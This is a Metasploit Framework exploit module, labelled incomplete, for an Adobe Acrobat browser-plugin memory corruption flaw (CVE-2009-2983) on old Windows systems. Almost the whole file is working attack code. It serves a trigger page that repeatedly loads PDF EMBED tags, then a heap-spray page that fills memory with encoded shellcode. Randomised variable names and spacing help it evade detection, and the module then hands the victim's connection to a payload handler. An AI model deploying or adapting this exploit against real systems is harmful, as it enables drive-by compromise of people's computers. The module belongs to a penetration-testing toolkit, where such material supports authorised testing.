##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class MetasploitModule < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '[INCOMPLETE] Adobe Acrobat Embedded COM Object Memory Corruption ',
			'Description'    => %q{
				This module exploits a memory corruption flaw in the Adobe Acrobat
			plugin for Mozilla Firefox and related browsers. The flaw is triggered
			when an EMBED tag is used to load and unload a PDF document.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'skylined',    # Bug discovery and public PoC
					'hdm',         # Metasploit port and code execution
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE',   '2009-2983' ],
				],
			'Payload'        =>
				{
					'Space'          => 1024,
					'BadChars'       => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 SP4 -> Windows 2003 SP0', {'Ret' => 0x0c0c0c0c} ]
				],
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)

		@tag ||= rand_text_alpha(8)

		if(request.uri =~ /#{@tag}.html$/)
			content = %Q|
<html><head></head>
<BODY onload='go()'></BODY>
<SCRIPT>
	var sMimeType = null, sHTML = null, iCounter = 1000;
	sMimeType = "application/pdf";
	sHTML = sMimeType + " <EMBED type='" + sMimeType + "'></EMBED>";

	function go() {
		if (sMimeType && iCounter > 0) {
			iCounter--;
			document.body.innerHTML = iCounter.toString() +
			sHTML + sHTML + sHTML + sHTML + sHTML + sHTML;
			setTimeout(go, 0);
		} else if (sMimeType) {
			location.reload();
		}
	}
</SCRIPT>|
			print_status("Sending trigger to #{cli.peerhost}:#{cli.peerport}...")
			# Transmit the response to the client
			send_response_html(cli, content)
		end

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Get a unicode friendly version of the return address
		addr_word  = [target.ret].pack('V').unpack('H*')[0][0,4]

		# Randomize the javascript variable names
		var_buffer    = rand_text_alpha(rand(30)+2)
		var_shellcode = rand_text_alpha(rand(30)+2)
		var_unescape  = rand_text_alpha(rand(30)+2)
		var_x         = rand_text_alpha(rand(30)+2)
		var_i         = rand_text_alpha(rand(30)+2)

		var_size      = rand_text_alpha(rand(30)+2)
		var_nopsize   = rand_text_alpha(rand(30)+2)
		var_limit     = rand_text_alpha(rand(30)+2)

		var_obj	      = rand_text_alpha(rand(30)+2)
		var_id	      = rand_text_alpha(rand(30)+2)


		# Build out the heap fill
		content = %Q|
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script language="javascript">

	function fill() {
		var #{var_unescape}  = unescape ;
		var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;

		var #{var_size} = #{var_shellcode}.length * 2;
		var #{var_nopsize} = 0x400000 - (#{var_size} + 0x38);
		var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;

		while (#{var_buffer}.length * 2 < #{var_nopsize}) #{var_buffer}+=#{var_buffer} ;

		#{var_limit} = (0x12000000 - 0x400000) / 0x400000;
		var #{var_x} = new Array() ;
		for ( var #{var_i} =0 ; #{var_i} < #{var_limit} ; #{var_i}++ ) {
			#{var_x}[ #{var_i} ] =
				#{var_buffer} + #{var_shellcode};
		}
	}
</script>
<body onload="fill()">
<iframe src="#{get_resource}/#{@tag}.html">
</iframe>
</body>
</html>
		|

		content = Rex::Text.randomize_space(content)

		print_status("Sending heap fill to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

